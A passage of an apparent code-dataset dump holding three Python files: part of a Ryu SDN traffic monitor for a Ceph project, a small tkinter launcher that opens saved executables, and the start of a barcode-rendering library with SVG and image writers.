max_len of the output action due to\n # OVS bug. At this moment, if we specify a lesser number, e.g.,\n # 128, OVS will send Packet-In with invalid buffer_id and\n # truncated packet data. In that case, we cannot output packets\n # correctly. The bug has been fixed in OVS v2.1.0.\n match = parser.OFPMatch()\n actions = [parser.OFPActionOutput(ofproto.OFPP_CONTROLLER,\n ofproto.OFPCML_NO_BUFFER)]\n self.add_flow(datapath, 0, match, actions)\n\n def add_flow(self, datapath, priority, match, actions, buffer_id=None):\n ofproto = datapath.ofproto\n parser = datapath.ofproto_parser\n\n inst = [parser.OFPInstructionActions(ofproto.OFPIT_APPLY_ACTIONS,\n actions)]\n if buffer_id:\n mod = parser.OFPFlowMod(datapath=datapath, buffer_id=buffer_id,\n priority=priority, match=match,\n instructions=inst)\n else:\n mod = parser.OFPFlowMod(datapath=datapath, priority=priority,\n match=match, instructions=inst)\n datapath.send_msg(mod)\n\n @set_ev_cls(ofp_event.EventOFPPacketIn, MAIN_DISPATCHER)\n def _packet_in_handler(self, ev):\n # If you hit this you might want to increase\n # the \"miss_send_length\" of your switch\n if ev.msg.msg_len < ev.msg.total_len:\n self.logger.info(\"packet truncated: only %s of %s bytes\",\n ev.msg.msg_len, ev.msg.total_len)\n if self.flag == 0:\n print('packet_in_trigger')\n self.flag = 1\n msg = ev.msg\n #print('msg.data',msg.data)\n datapath = msg.datapath\n #print('msg.datapath',msg.datapath)\n dpid = datapath.id\n #print('datapath.id',datapath.id)\n ofproto = datapath.ofproto\n parser = datapath.ofproto_parser\n in_port = msg.match['in_port']\n #forbidden in_port == 16 is ip of '192.168.0.200'\n if in_port == 16:\n return\n #if in_port == 4 and self.flag == 1:\n if in_port == 4:\n self.packet_out_msg.clear()\n self.packet_out_msg.append(msg)\n #self.flag = 2\n #print('flag=',self.flag)\n #print('msg.match[in_port]', in_port)\n pkt = packet.Packet(msg.data)\n #print(pkt.protocols)\n #ethernet header\n eth_header = pkt.get_protocols(ethernet.ethernet)[0]\n dst = eth_header.dst\n src = eth_header.src\n #print('eth_header.dst',dst,'eth_header.src',src)\n #arp header\n arp_header = pkt.get_protocols(arp.arp)\n #ipv4 and udp header\n ip_header = pkt.get_protocol(ipv4.ipv4)\n udp_header = pkt.get_protocol(udp.udp)\n #print('ip_header',ip_header,'udp_header',udp_header)\n\n # ignore lldp packet and ipv6\n if eth_header.ethertype == ether_types.ETH_TYPE_LLDP or eth_header.ethertype == ether_types.ETH_TYPE_IPV6:\n return\n\n #print('eth_header.ethertype',eth_header.ethertype)\n\n # ignore interfaces between switches\n if self.port_features and (self.port_features.get(dpid).get(in_port)[2] != 0):\n #print('11111111111','self.port_features',self.port_features,'self.port_features.get(dpid).get(in_port)[2]',self.port_features.get(dpid).get(in_port)[2])\n #get ARP header to record ip_to_port\n if arp_header:\n #print('ip_to_port')\n for p in arp_header:\n key = (dpid, in_port)\n value = p.src_ip\n self.ip_to_port.setdefault(key, value)\n\n # get udp info and host delay\n '''\n if ip_header:\n print('ip_header',ip_header)\n if udp_header:\n print('udp_header',udp_header)\n if udp_header.dst_port:\n print('udp_header.dst_port',udp_header.dst_port)\n '''\n if ip_header and udp_header and (udp_header.dst_port == 12345):\n #print('222222222222','arp_header',arp_header,'ip_header',ip_header,'udp_header',udp_header,'udp_header.dst_port',udp_header.dst_port)\n self._parse_udp(dpid, in_port, msg.data)\n self._save_udp(self.osd_info, self.ip_to_port, self.host_info)\n #print('packet_in:self.osd_info',self.osd_info)\n #self.logger.info(msg)\n #self.logger.info(pkt)\n\n #self.logger.info(\"packet in %s %s %s %s\", dpid, src, dst, in_port)\n # learn a mac address to avoid FLOOD next time.\n self.mac_to_port.setdefault(dpid, {})\n self.mac_to_port[dpid][src] = in_port\n if dst in self.mac_to_port[dpid]:\n out_port = self.mac_to_port[dpid][dst]\n else:\n #out_port = ofproto.OFPP_CONTROLLER\n out_port = ofproto.OFPP_FLOOD\n # mac of OSD_Client.py (def _send_date():\n # HOST = '172.25.1.11')\n\n #if dst == 'ff:ff:ff:ff:ff:ff':\n #print('out_port = ofproto.OFPP_CONTROLLER')\n #out_port = ofproto.OFPP_CONTROLLER\n\n actions = [parser.OFPActionOutput(out_port)]\n\n # install a flow to avoid packet_in next time\n if out_port != ofproto.OFPP_FLOOD:\n match = parser.OFPMatch(in_port=in_port, eth_dst=dst)\n # verify if we have a valid buffer_id, if yes avoid to send both\n # flow_mod & packet_out\n if msg.buffer_id != ofproto.OFP_NO_BUFFER:\n self.add_flow(datapath, 1, match, actions, msg.buffer_id)\n return\n else:\n self.add_flow(datapath, 1, match, actions)\n data = None\n if msg.buffer_id == ofproto.OFP_NO_BUFFER:\n data = msg.data\n #print('data',data)\n\n out = parser.OFPPacketOut(datapath=datapath, buffer_id=msg.buffer_id,\n in_port=in_port, actions=actions, data=data)\n datapath.send_msg(out)\n @set_ev_cls(ofp_event.EventOFPFlowStatsReply, MAIN_DISPATCHER)\n def _flow_stats_reply_handler(self, ev):\n \"\"\"\n Save flow stats reply info into self.flow_stats.\n Calculate flow speed and Save it.\n \"\"\"\n body = ev.msg.body\n dpid = ev.msg.datapath.id\n self.stats['flow'][dpid] = body\n #print('body++++++++++++++++++')\n #print(body)\n self.flow_stats.setdefault(dpid, {})\n self.flow_speed.setdefault(dpid, {})\n for stat in sorted([flow for flow in body if flow.priority == 1],\n key=lambda flow: (flow.match.get('in_port'),\n flow.match.get('eth_dst'))):\n key = (stat.match['in_port'], stat.match.get('eth_dst'),\n stat.instructions[0].actions[0].port)\n value = (stat.packet_count, stat.byte_count,\n stat.duration_sec, stat.duration_nsec)\n self._save_stats(self.flow_stats[dpid], key, value, 5)\n\n #print('is stats now +++++++++++++++++++')\n #print(stat)\n\n # Get flow's speed.\n pre = 0\n period = setting.MONITOR_PERIOD\n tmp = self.flow_stats[dpid][key]\n if len(tmp) > 1:\n pre = tmp[-2][1]\n period = self._get_period(tmp[-1][2], tmp[-1][3],\n tmp[-2][2], tmp[-2][3])\n\n speed = self._get_speed(self.flow_stats[dpid][key][-1][1],\n pre, period)\n\n self._save_stats(self.flow_speed[dpid], key, speed, 5)\n\n @set_ev_cls(ofp_event.EventOFPPortStatsReply, MAIN_DISPATCHER)\n def _port_stats_reply_handler(self, ev):\n \"\"\"\n Save port's stats info\n Calculate port's speed and save it.\n \"\"\"\n body = ev.msg.body\n dpid = ev.msg.datapath.id\n self.stats['port'][dpid] = body\n\n for stat in sorted(body, key=attrgetter('port_no')):\n port_no = stat.port_no\n if port_no != ofproto_v1_3.OFPP_LOCAL:\n key = (dpid, port_no)\n value = (stat.tx_bytes, stat.rx_bytes, stat.rx_errors,\n stat.duration_sec, stat.duration_nsec)\n\n self._save_stats(self.port_stats, key, value, 5)\n\n # Get port speed.\n pre = 0\n period = setting.MONITOR_PERIOD\n tmp = self.port_stats[key]\n if len(tmp) > 1:\n pre = tmp[-2][0] + tmp[-2][1]\n period = self._get_period(tmp[-1][3], tmp[-1][4],\n tmp[-2][3], tmp[-2][4])\n\n speed = self._get_speed(\n self.port_stats[key][-1][0] + self.port_stats[key][-1][1],\n pre, period)\n\n self._save_stats(self.port_speed, key, speed, 5)\n self._save_freebandwidth(dpid, port_no, speed)\n # save ip free bandwidth\n self._save_ipfreebw(self.free_bandwidth, self.ip_to_port, self.host_info)\n\n @set_ev_cls(ofp_event.EventOFPPortDescStatsReply, MAIN_DISPATCHER)\n def port_desc_stats_reply_handler(self, ev):\n \"\"\"\n Save port description info.\n \"\"\"\n msg = ev.msg\n dpid = msg.datapath.id\n ofproto = msg.datapath.ofproto\n\n config_dict = {ofproto.OFPPC_PORT_DOWN: \"Down\",\n ofproto.OFPPC_NO_RECV: \"No Recv\",\n ofproto.OFPPC_NO_FWD: \"No Farward\",\n ofproto.OFPPC_NO_PACKET_IN: \"No Packet-in\"}\n\n state_dict = {ofproto.OFPPS_LINK_DOWN: \"Down\",\n ofproto.OFPPS_BLOCKED: \"Blocked\",\n ofproto.OFPPS_LIVE: \"Live\"}\n\n ports = []\n for p in ev.msg.body:\n ports.append('port_no=%d hw_addr=%s name=%s config=0x%08x '\n 'state=0x%08x curr=0x%08x advertised=0x%08x '\n 'supported=0x%08x peer=0x%08x curr_speed=%d '\n 'max_speed=%d' %\n (p.port_no, p.hw_addr,\n p.name, p.config,\n p.state, p.curr, p.advertised,\n p.supported, p.peer, p.curr_speed,\n p.max_speed))\n\n if p.config in config_dict:\n config = config_dict[p.config]\n else:\n config = \"up\"\n\n if p.state in state_dict:\n state = state_dict[p.state]\n else:\n state = \"up\"\n\n port_feature = (config, state, p.curr_speed*100)\n self.port_features[dpid][p.port_no] = port_feature\n\n @set_ev_cls(ofp_event.EventOFPPortStatus, MAIN_DISPATCHER)\n def _port_status_handler(self, ev):\n \"\"\"\n Handle the port status changed event.\n \"\"\"\n msg = ev.msg\n reason = msg.reason\n port_no = msg.desc.port_no\n dpid = msg.datapath.id\n ofproto = msg.datapath.ofproto\n\n reason_dict = {ofproto.OFPPR_ADD: \"added\",\n ofproto.OFPPR_DELETE: \"deleted\",\n ofproto.OFPPR_MODIFY: \"modified\", }\n\n if reason in reason_dict:\n\n print(\"switch%d: port %s %s\" % (dpid, reason_dict[reason], port_no))\n else:\n print(\"switch%d: Illeagal port state %s %s\" % (port_no, reason))\n\n def show_stat(self, type):\n '''\n Show statistics info according to data type.\n type: 'port' 'flow'\n '''\n if setting.TOSHOW is False:\n return\n\n bodys = self.stats[type]\n if(type == 'flow'):\n print('datapath '' in-port ip-dst '\n 'out-port packets bytes flow-speed(B/s)')\n print('---------------- '' -------- ----------------- '\n '-------- -------- -------- -----------')\n for dpid in bodys.keys():\n for stat in sorted(\n [flow for flow in bodys[dpid] if flow.priority == 1],\n key=lambda flow: (flow.match.get('in_port'),\n flow.match.get('eth_dst'))):\n print('%016x %8x %17s %8x %8d %8d %8.1f' % (\n dpid,\n stat.match['in_port'], stat.match['eth_dst'],\n stat.instructions[0].actions[0].port,\n stat.packet_count, stat.byte_count,\n abs(self.flow_speed[dpid][\n (stat.match.get('in_port'),\n stat.match.get('eth_dst'),\n stat.instructions[0].actions[0].port)][-1])))\n print('\\n')\n\n if(type == 'port'):\n print('datapath port ''rx-pkts rx-bytes rx-error '\n 'tx-pkts tx-bytes tx-error port-speed(B/s)'\n ' current-capacity(Kbps) '\n 'port-stat link-stat')\n print('---------------- -------- ''-------- -------- -------- '\n '-------- -------- -------- '\n '---------------- ---------------- '\n ' ----------- -----------')\n format = '%016x %8x %8d %8d %8d %8d %8d %8d %8.1f %16d %16s %16s'\n for dpid in bodys.keys():\n for stat in sorted(bodys[dpid], key=attrgetter('port_no')):\n if stat.port_no != ofproto_v1_3.OFPP_LOCAL:\n print(format % (\n dpid, stat.port_no,\n stat.rx_packets, stat.rx_bytes, stat.rx_errors,\n stat.tx_packets, stat.tx_bytes, stat.tx_errors,\n abs(self.port_speed[(dpid, stat.port_no)][-1]),\n self.port_features[dpid][stat.port_no][2],\n self.port_features[dpid][stat.port_no][0],\n self.port_features[dpid][stat.port_no][1]))\n print('\\n')\n","repo_name":"ZhikeLi/SDN-Ceph","sub_path":"ryu_m1.0/Ryu_Controller_Optimize/SDN_Monitor.py","file_name":"SDN_Monitor.py","file_ext":"py","file_size_in_byte":24801,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"19980456813","text":"import tkinter as tk\r\nfrom tkinter import filedialog, Text\r\nimport os\r\nimport customtkinter as ctk\r\n\r\n#Variables\r\nroot = tk.Tk() # [ Main Window ]\r\nroot.title(\"Multi App loader\")\r\napps = []\r\nbtnWidth = 200\r\nframeCol= \"#111\"\r\nbgCol = \"#444\"\r\n\r\nif os.path.isfile('save.txt'):\r\n with open('save.txt', 'r') as f:\r\n tempApps = f.read()\r\n tempApps = tempApps.split(',')\r\n apps = [x for x in tempApps if x.strip()]\r\n\r\ndef addApp():# [ Add a new app to the list ] #\r\n \r\n for widget in frame.winfo_children():\r\n widget.destroy()\r\n \r\n filename = filedialog.askopenfilename(initialdir='/', title=\"Select a file\",\r\n filetypes=((\"executables\", \"*.exe\"), (\"all files\", \"*./\")))\r\n print(filename)\r\n apps.append(filename)\r\n for app in apps:\r\n label = tk.Label(frame, text=app)\r\n label.pack()\r\n return filename\r\n\r\n\r\ndef loadApps():# [ Open all apps in the exsisting list ] #\r\n for app in apps:\r\n os.startfile(app) \r\n\r\nroot.config(bg=bgCol, height=720)\r\ncanvas = tk.Canvas(root, height=710, width=700, bg=bgCol)\r\ncanvas.pack()\r\n\r\nframe = ctk.CTkFrame(root, bg_color=bgCol, fg_color=frameCol, corner_radius=50)\r\nframe.place(relheight=0.8, relwidth=0.8, relx=0.1, rely=0.1)\r\n\r\nbtnSection = ctk.CTkFrame(root, height=60, width=500, fg_color=bgCol)\r\nbtnSection.pack()\r\n\r\n# [Buttons]\r\nuploadFile = ctk.CTkButton(master=btnSection, text=\"Upload a File\", corner_radius=10, fg_color=\"#608\",\r\n hover_color=\"#20f\", width=btnWidth, height=60, command=addApp, text_font=(\"sans-serif\", 12))\r\nuploadFile.grid(column=0, row=0)\r\ngap = tk.Label(btnSection, text=\"\", width=5, bg=bgCol).grid(column=5, row=0)\r\nopenFile = ctk.CTkButton(master=btnSection, text=\"Load Files\", corner_radius=10, fg_color=\"#608\",\r\n hover_color=\"#20f\", width=btnWidth, height=60, command=loadApps, text_font=(\"sans-serif\", 12))\r\nopenFile.grid(column=10, row=0)\r\nfor app in apps:\r\n label = ctk.CTkLabel(frame, text=app, fg_color=\"#fff\", text_color=frameCol, pady=20, corner_radius=20)\r\n label.pack()\r\n\r\nroot.mainloop()\r\n\r\nwith open(\"save.txt\", \"w\") as f:\r\n for app in apps:\r\n f.write(app + ',')","repo_name":"Gravyard-Gay/multi-app-opener","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"21948140875","text":"# -*- coding: utf-8 -*-\n\"\"\"\nAll the code below was hacked together from https://github.com/mvictor212/pyBarcode\nWhich is itself a port of python-barcode which is no longer available\n\"\"\"\n\nimport gzip\nimport os\nimport string, discord\nfrom typing import Optional, Union, IO, Any, Callable, Dict\nfrom collections.abc import Iterable, Sequence, Iterator\nimport xml.dom\nfrom PIL import Image, ImageDraw, ImageFont # lint:ok\n\nfrom ..util import BASE_DIR\n\n_strbase = str\n\n\ndef mm2px(mm: int, dpi: int = 300) -> int:\n \"\"\"mm to px converter\n\n :param mm: mm units\n :type mm: int\n :param dpi: default pixel unit, defaults to 300\n :type dpi: int, optional\n :return: mm converter to pixel\n :rtype: int\n \"\"\"\n return (mm * dpi) / 25.4\n\n\ndef pt2mm(pt: int) -> int:\n \"\"\"Point to mm converter\n\n :param pt: point\n :type pt: int\n :return: point converted to mm\n :rtype: int\n \"\"\"\n return pt * 0.352777778\n\n\ndef _set_attributes(element, **attributes):\n \"\"\"It sets attributes to your element\n\n :param element: The element you want to set your attributes\n :type element: Generic\n \"\"\"\n for key, value in attributes.items():\n element.setAttribute(key, value)\n\n\ndef create_svg_object():\n \"\"\"Creates a blank svg object\n\n :return: The blank svg document\n :rtype: DocumentType\n \"\"\"\n imp = xml.dom.getDOMImplementation()\n doctype = imp.createDocumentType(\n \"svg\",\n \"-//W3C//DTD SVG 1.1//EN\",\n \"https://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\",\n )\n document = imp.createDocument(None, \"svg\", doctype)\n _set_attributes(\n document.documentElement, version=\"1.1\", xmlns=\"https://www.w3.org/2000/svg\"\n )\n return document\n\n\nSIZE = \"{0:.3f}mm\"\nCOMMENT = \"Autogenerated with pyBarcode {0}\".format(\"TrustyCogs\")\nPATH = os.path.dirname(os.path.abspath(__file__))\n\n# Sizes\nMIN_SIZE = 0.2\nMIN_QUIET_ZONE = 2.54\n\n# Charsets for code 39\nREF = (\n tuple(string.digits)\n + tuple(string.ascii_uppercase)\n + (\"-\", \".\", \" \", \"$\", \"/\", \"+\", \"%\")\n)\nB = \"1\"\nE = \"0\"\nCODES = (\n \"101000111011101\",\n \"111010001010111\",\n \"101110001010111\",\n \"111011100010101\",\n \"101000111010111\",\n \"111010001110101\",\n \"101110001110101\",\n \"101000101110111\",\n \"111010001011101\",\n \"101110001011101\",\n \"111010100010111\",\n \"101110100010111\",\n \"111011101000101\",\n \"101011100010111\",\n \"111010111000101\",\n \"101110111000101\",\n \"101010001110111\",\n \"111010100011101\",\n \"101110100011101\",\n \"101011100011101\",\n \"111010101000111\",\n \"101110101000111\",\n \"111011101010001\",\n \"101011101000111\",\n \"111010111010001\",\n \"101110111010001\",\n \"101010111000111\",\n \"111010101110001\",\n \"101110101110001\",\n \"101011101110001\",\n \"111000101010111\",\n \"100011101010111\",\n \"111000111010101\",\n \"100010111010111\",\n \"111000101110101\",\n \"100011101110101\",\n \"100010101110111\",\n \"111000101011101\",\n \"100011101011101\",\n \"100010001000101\",\n \"100010001010001\",\n \"100010100010001\",\n \"101000100010001\",\n)\n\nEDGE = \"100010111011101\"\nMIDDLE = \"0\"\n\n# MAP for assigning every symbol (REF) to (reference number, barcode)\nMAP = dict(zip(REF, enumerate(CODES)))\n\n\nclass BarcodeError(Exception):\n \"\"\"Base :class:`Exception` class for the `barcode` module\"\"\"\n\n def __init__(self, msg):\n self.msg = msg\n\n def __str__(self):\n return self.msg\n\n\nclass IllegalCharacterError(BarcodeError):\n \"\"\"Raised when a barcode-string contains illegal characters.\"\"\"\n\n\nclass BarcodeNotFoundError(BarcodeError):\n \"\"\"Raised when an unknown barcode is requested.\"\"\"\n\n\nclass NumberOfDigitsError(BarcodeError):\n \"\"\"Raised when the number of digits do not match.\"\"\"\n\n\nclass WrongCountryCodeError(BarcodeError):\n \"\"\"Raised when a JAN (Japan Article Number) don't starts with 450-459\n or 490-499.\n \"\"\"\n\n\nclass BaseWriter:\n \"\"\"Baseclass for all writers.\n Initializes the basic writer options. Childclasses can add more\n attributes and can set them directly or using\n `self.set_options(option=value)`.\n :parameters:\n initialize : Function\n Callback for initializing the inheriting writer.\n Is called: `callback_initialize(raw_code)`\n paint_module : Function\n Callback for painting one barcode module.\n Is called: `callback_paint_module(xpos, ypos, width, color)`\n paint_text : Function\n Callback for painting the text under the barcode.\n Is called: `callback_paint_text(xpos, ypos)` using `self.text`\n as text.\n finish : Function\n Callback for doing something with the completely rendered\n output.\n Is called: `return callback_finish()` and must return the\n rendered output.\n \"\"\"\n\n def __init__(\n self, initialize=None, paint_module=None, paint_text=None, finish=None\n ):\n self._callbacks = dict(\n initialize=initialize,\n paint_module=paint_module,\n paint_text=paint_text,\n finish=finish,\n )\n self.module_width = 10\n self.module_height = 10\n self.font_size = 10\n self.quiet_zone = 6.5\n self.background = \"white\"\n self.foreground = \"black\"\n self.text = \"\"\n self.human = \"\" # human readable text\n self.text_distance = 5\n self.center_text = True\n\n def calculate_size(self, modules_per_line, number_of_lines, dpi=300):\n \"\"\"Calculates the size of the barcode in pixel.\n :parameters:\n modules_per_line : Integer\n Number of modules in one line.\n number_of_lines : Integer\n Number of lines of the barcode.\n dpi : Integer\n DPI to calculate.\n :returns: Width and height of the barcode in pixel.\n :rtype: Tuple\n \"\"\"\n width = 2 * self.quiet_zone + modules_per_line * self.module_width\n height = 2.0 + self.module_height * number_of_lines\n if self.font_size and self.text:\n height += pt2mm(self.font_size) / 2 + self.text_distance\n return int(mm2px(width, dpi)), int(mm2px(height, dpi))\n\n def save(self, filename, output):\n \"\"\"Saves the rendered output to `filename`.\n :parameters:\n filename : String\n Filename without extension.\n output : String\n The rendered output.\n :returns: The full filename with extension.\n :rtype: String\n \"\"\"\n raise NotImplementedError\n\n def register_callback(self, action, callback):\n \"\"\"Register one of the three callbacks if not given at instance\n creation.\n :parameters:\n action : String\n One of 'initialize', 'paint_module', 'paint_text', 'finish'.\n callback : Function\n The callback function for the given action.\n \"\"\"\n self._callbacks[action] = callback\n\n def set_options(self, options):\n \"\"\"Sets the given options as instance attributes (only\n if they are known).\n :parameters:\n options : Dict\n All known instance attributes and more if the childclass\n has defined them before this call.\n :rtype: None\n \"\"\"\n for key, val in options.items():\n key = key.lstrip(\"_\")\n if hasattr(self, key):\n setattr(self, key, val)\n\n def render(self, code):\n \"\"\"Renders the barcode to whatever the inheriting writer provides,\n using the registered callbacks.\n :parameters:\n code : List\n List of strings matching the writer spec\n (only contain 0 or 1).\n \"\"\"\n if self._callbacks[\"initialize\"] is not None:\n self._callbacks[\"initialize\"](code)\n ypos = 0.25\n for cc, line in enumerate(code):\n # Pack line to list give better gfx result, otherwise in can result in aliasing gaps\n # '11010111' -> [2, -1, 1, -1, 3]\n line += \" \"\n c = 1\n mlist = []\n for i in range(0, len(line) - 1):\n if line[i] == line[i + 1]:\n c += 1\n else:\n if line[i] == \"1\":\n mlist.append(c)\n else:\n mlist.append(-c)\n c = 1\n # Left quiet zone is x startposition\n xpos = self.quiet_zone\n bxs = xpos # x start of barcode\n for mod in mlist:\n if mod < 1:\n color = self.background\n else:\n color = self.foreground\n self._callbacks[\"paint_module\"](\n xpos, ypos, self.module_width * abs(mod), color\n ) # remove painting for background colored tiles?\n xpos += self.module_width * abs(mod)\n bxe = xpos\n # Add right quiet zone to every line, except last line, quiet zone already\n # provided with background, should it be removed complety?\n if (cc + 1) != len(code):\n self._callbacks[\"paint_module\"](\n xpos, ypos, self.quiet_zone, self.background\n )\n ypos += self.module_height\n if self.text and self._callbacks[\"paint_text\"] is not None:\n ypos += self.text_distance\n if self.center_text:\n # better center position for text\n xpos = bxs + ((bxe - bxs) / 2.0)\n else:\n xpos = bxs\n self._callbacks[\"paint_text\"](xpos, ypos)\n return self._callbacks[\"finish\"]()\n\n\nclass SVGWriter(BaseWriter):\n \"\"\"SVG Write object to write `svg` files\"\"\"\n\n def __init__(self):\n BaseWriter.__init__(\n self, self._init, self._create_module, self._create_text, self._finish\n )\n self.compress = False\n self.dpi = 25.4\n self._document = None\n self._root = None\n self._group = None\n\n def _init(self, code: Union[Iterable, Sequence, Iterator]):\n \"\"\"To initialize some extra attributes\n\n :param code: An Iterator\n :type code: Union[Iterable, Sequence, Iterator]\n \"\"\"\n width, height = self.calculate_size(len(code[0]), len(code), self.dpi)\n self._document = create_svg_object()\n self._root = self._document.documentElement\n attributes = dict(width=SIZE.format(width), height=SIZE.format(height))\n _set_attributes(self._root, **attributes)\n self._root.appendChild(self._document.createComment(COMMENT))\n # create group for easier handling in 3th party software like corel draw, inkscape, ...\n group = self._document.createElement(\"g\")\n attributes = dict(id=\"barcode_group\")\n _set_attributes(group, **attributes)\n self._group = self._root.appendChild(group)\n background = self._document.createElement(\"rect\")\n attributes = dict(\n width=\"100%\", height=\"100%\", style=\"fill:{0}\".format(self.background)\n )\n _set_attributes(background, **attributes)\n self._group.appendChild(background)\n\n def _create_module(self, xpos: int, ypos: int, width: int, color: Union[int, str]):\n \"\"\"Creates a module\n\n :param xpos: The x position\n :type xpos: int\n :param ypos: The y position\n :type ypos: int\n :param width: Width of the module\n :type width: int\n :param color: The colour to be there\n :type color: Union[int, str]\n \"\"\"\n element = self._document.createElement(\"rect\")\n attributes = dict(\n x=SIZE.format(xpos),\n y=SIZE.format(ypos),\n width=SIZE.format(width),\n height=SIZE.format(self.module_height),\n style=\"fill:{0};\".format(color),\n )\n _set_attributes(element, **attributes)\n self._group.appendChild(element)\n\n def _create_text(self, xpos: int, ypos: int):\n \"\"\"Creates text in the svg file\n\n :param xpos: x position\n :type xpos: int\n :param ypos: y position\n :type ypos: int\n \"\"\"\n element = self._document.createElement(\"text\")\n attributes = dict(\n x=SIZE.format(xpos),\n y=SIZE.format(ypos),\n style=\"fill:{0};font-size:{1}pt;text-anchor:\"\n \"middle;\".format(self.foreground, self.font_size),\n )\n _set_attributes(element, **attributes)\n # check option to override self.text with self.human (barcode as human readable data, can be used to print own formats)\n if self.human != \"\":\n barcodetext = self.human\n else:\n barcodetext = self.text\n text_element = self._document.createTextNode(barcodetext)\n element.appendChild(text_element)\n self._group.appendChild(element)\n\n def _finish(self) -> Union[str, bytes]:\n \"\"\"Finishes the creating of svg document\n\n :return: The xml document\n :rtype: Union[str,bytes, DocumentType]\n \"\"\"\n if self.compress:\n return self._document.toxml(encoding=\"UTF-8\")\n return self._document.toprettyxml(\n indent=4 * \" \", newl=os.linesep, encoding=\"UTF-8\"\n )\n\n def save(self, filename: str, output: Union[str, bytes]) -> str:\n \"\"\"Saves the SVG document\n\n :param filename: The filename\n :type filename: str\n :param output:The string or bytes data\n :type output: Union[str, bytes]\n :return: The filename\n :rtype: str\n \"\"\"\n if self.compress:\n _filename = \"{0}.svgz\".format(filename)\n f = gzip.open(_filename, \"wb\")\n f.write(output)\n f.close()\n else:\n _filename = \"{0}.svg\".format(filename)\n with open(_filename, \"wb\") as f:\n f.write(output)\n return _filename\n\n\nif Image is None:\n ImageWriter = None\nelse:\n\n class ImageWriter(BaseWriter):\n \"\"\"Writer object to handle image creation\"\"\"\n\n def __init__(self, COG: discord.ext.commands.Cog):\n BaseWriter.__init__(\n self, self._init, self._paint_module, self._paint_text, self._finish\n )\n self.format = \"PNG\"\n self.dpi = 300\n self._image = None\n self._draw = None\n self.FONT = str(BASE_DIR / os.path.join(\"lib\", \"data\", \"arial.ttf\"))\n\n def _init(self, code: Union[Iterable, Sequence, Iterator]):\n \"\"\"To initialize some extra attributes\n\n :param code: An Iterator\n :type code: Union[Iterable, Sequence, Iterator]\n \"\"\"\n size = self.calculate_size(len(code[0]), len(code), self.dpi)\n self._image = Image.new(\"RGB\", size, self.background)\n self._draw = ImageDraw.Draw(self._image)\n\n def _paint_module(\n self, xpos: int, ypos: int, width: int, color: Union[int, str]\n ):\n \"\"\"Paints in the module\n\n :param xpos: The x position\n :type xpos: int\n :param ypos: The y position\n :type ypos: int\n :param width: Width of the module\n :type width: int\n :param color: The colour to be there\n :type color: Union[int, str]\n \"\"\"\n size = [\n (mm2px(xpos, self.dpi), mm2px(ypos, self.dpi)),\n (\n mm2px(xpos + width, self.dpi),\n mm2px(ypos + self.module_height, self.dpi),\n ),\n ]\n self._draw.rectangle(size, outline=color, fill=color)\n\n def _paint_text(self, xpos: int, ypos: int):\n \"\"\"Creates text in the image file\n\n :param xpos: x position\n :type xpos: int\n :param ypos: y position\n :type ypos: int\n \"\"\"\n font = ImageFont.truetype(self.FONT, self.font_size * 2)\n width, height = font.getsize(self.text)\n pos = (\n mm2px(xpos, self.dpi) - width // 2,\n mm2px(ypos, self.dpi) - height // 4,\n )\n self._draw.text(pos, self.text, font=font, fill=self.foreground)\n\n def _finish(self) -> Union[str, bytes]:\n \"\"\"Finishes the creating of image\n\n :return: The image file\n :rtype: Union[str,bytes]\n \"\"\"\n return self._image\n\n def save(self, filename: str, output: Union[str, bytes]) -> str:\n \"\"\"Saves the image\n\n :param filename: The filename\n :type filename: str\n :param output:The string or bytes data\n :type output: Union[str, bytes]\n :return: The filename\n :rtype: str\n \"\"\"\n filename = \"{0}.{1}\".format(filename, self.format.lower())\n output.save(filename, self.format.upper())\n return filename\n\n\nclass Barcode:\n\n name = \"\"\n\n raw = None\n\n digits = 0\n\n default_writer = SVGWriter\n\n default_writer_options = {\n \"module_width\": 0.2,\n \"module_height\": 15.0,\n \"quiet_zone\": 6.5,\n \"font_size\": 10,\n \"text_distance\": 5.0,\n \"background\": \"white\",\n \"foreground\": \"black\",\n \"write_text\": True,\n \"text\": \"\",\n }\n\n def to_ascii(self) -> str:\n \"\"\"Barcode ASCII conversion\n\n :return: The acii code\n :rtype: str\n \"\"\"\n code = self.build()\n for i, line in enumerate(code):\n code[i] = line.replace(\"1\", \"X\").replace(\"0\", \" \")\n return \"\\n\".join(code)\n\n def __repr__(self):\n return \"<{0}({1!r})>\".format(self.__class__.__name__, self.get_fullcode())\n\n def build(self):\n raise NotImplementedError\n\n def get_fullcode(self):\n \"\"\"Returns the full code, encoded in the barcode.\n :returns: Full human readable code.\n :rtype: String\n \"\"\"\n raise NotImplementedError\n\n def save(self, filename: str, options: Optional[dict] = None) -> str:\n \"\"\"Renders the barcode and saves it in `filename`.\n :parameters:\n filename : String\n Filename to save the barcode in (without filename\n extension).\n options : Optional[Dict]\n The same as in `self.render`.\n :returns: The full filename with extension.\n :rtype: String\n \"\"\"\n output = self.render(options)\n _filename = self.writer.save(filename, output)\n return _filename\n\n def write(self, fp: IO, options: Optional[dict] = None):\n \"\"\"Renders the barcode and writes it to the file like object\n `fp`.\n :parameters:\n fp : File like object\n Object to write the raw data in.\n options : Optional[dict]\n The same as in `self.render`.\n \"\"\"\n output = self.render(options)\n output.save(fp, format=self.writer.format)\n\n def render(self, writer_options: Optional[dict] = None):\n \"\"\"Renders the barcode using `self.writer`.\n :parameters:\n writer_options : Optional[dict]\n Options for `self.writer`, see writer docs for details.\n :returns: Output of the writers render method.\n \"\"\"\n options = Barcode.default_writer_options.copy()\n options.update(writer_options or {})\n if options[\"write_text\"]:\n if options[\"text\"] != \"\":\n options[\"text\"] += \" - \" + self.get_fullcode()\n else:\n options[\"text\"] = self.get_fullcode()\n self.writer.set_options(options)\n code = self.build()\n raw = Barcode.raw = self.writer.render(code)\n return raw\n\n\ndef check_code(\n code: Union[Iterable, Sequence], name: str, allowed: Union[Iterable, Sequence]\n):\n \"\"\"Checks the barcode for the illegal characters\n\n :param code: The barcode\n :type code: Union[Iterable, Sequence]\n :param name: Name\n :type name: str\n :param allowed: Allowed characters\n :type allowed: Union[Iterable, Sequence]\n :raises IllegalCharacterError: when illegal character is found\n \"\"\"\n wrong = []\n for char in code:\n if char not in allowed:\n wrong.append(char)\n if wrong:\n raise IllegalCharacterError(\n \"The following characters are not \"\n \"valid for {name}: 